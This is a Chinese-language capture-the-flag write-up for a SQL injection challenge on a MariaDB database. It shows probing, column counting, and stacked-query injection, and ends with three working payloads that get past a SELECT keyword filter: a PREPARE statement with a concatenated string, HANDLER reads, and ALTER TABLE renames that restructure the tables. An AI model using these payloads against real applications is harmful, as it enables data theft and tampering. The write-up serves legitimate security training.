根据题目这是一道sql注入题
输入1'测试,成功报错
可以看到这是一个MariaDB数据库,MariaDB是MySQL的一个分支,与mysql大部分的用法都是一样的,只有一些参数,特性的不同
1.使用order by来测试字段
1' order by n #
当order by 2显示正常,当order by 3报错,可以确定有两个字段
2.使用联合查询
1' union select 1,2 #
提示对select等操作词语进行了正则过滤,尝试使用双写、/**/绕过无效
3.使用堆叠注入
查看表';show tables#
有两个表
依次查看两个表的数据:
';show columns from `1919810931114514`#
';show columns from words#
方法一:绕过select的限制,采用预编译查询flag
预编译原理:https://www.cnblogs.com/gdwkong/p/7635541.html
最终payload:
';prepare pre from concat('s', 'elect * from `1919810931114514`');execute pre;#
方法二:使用handler查询
handler用法:https://blog.csdn.net/qq_43427482/article/details/109898934
最终payload:
';handler `1919810931114514` open;handler `1919810931114514` read first;#
方法三:修改表名法
我们输入1查询的时候,回显是有两个字段的,猜测查询的是word表(通过刚刚查询的表数据可以知道,`1919810931114514`表只有一个字段,`words`表有两个字段
原理:将words表改名为word1或其它任意名字,修改1919810931114514表名为words,同时将flag列名改为id,通过查询words表的id,就能得到flag
注意:此方法需要对输入没有过滤alert和rename关键字:
将表名a改为b:alter table a rename to b;
将b表的列名c改为d:alter table b change c d varchar(30);
payload如下:
'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
再通过1' or 1=1#获取flag
flag{c168d583ed0d4d7196967b28cbd0b5e9}